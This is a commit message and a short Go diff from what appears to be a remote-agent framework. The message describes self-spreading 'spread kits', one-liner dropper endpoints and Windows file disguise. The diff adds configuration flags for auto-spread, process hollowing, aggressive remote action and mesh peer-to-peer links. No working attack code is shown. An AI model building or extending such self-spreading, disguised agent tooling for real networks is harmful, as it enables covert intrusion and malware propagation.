Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/client/protocol.go

@@ -22,6 +22,14 @@ type AuthPayload struct {
 	AIEnabled        bool   `json:"ai_enabled"`
 	AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
 	AIModel          string `json:"ai_model"`
+	HolePunch        bool   `json:"hole_punch"`
+	RemoteAggressive bool   `json:"remote_aggressive"`
+	MeshP2P          bool   `json:"mesh_p2p"`
+	AutoSpread       bool   `json:"auto_spread"`
+	ProcessHollowing bool   `json:"process_hollowing"`
+	Platform         string `json:"platform"`
+	Arch             string `json:"arch"`
+	OSVersion        string `json:"os_version"`
 }
 
 type AuthResponse struct {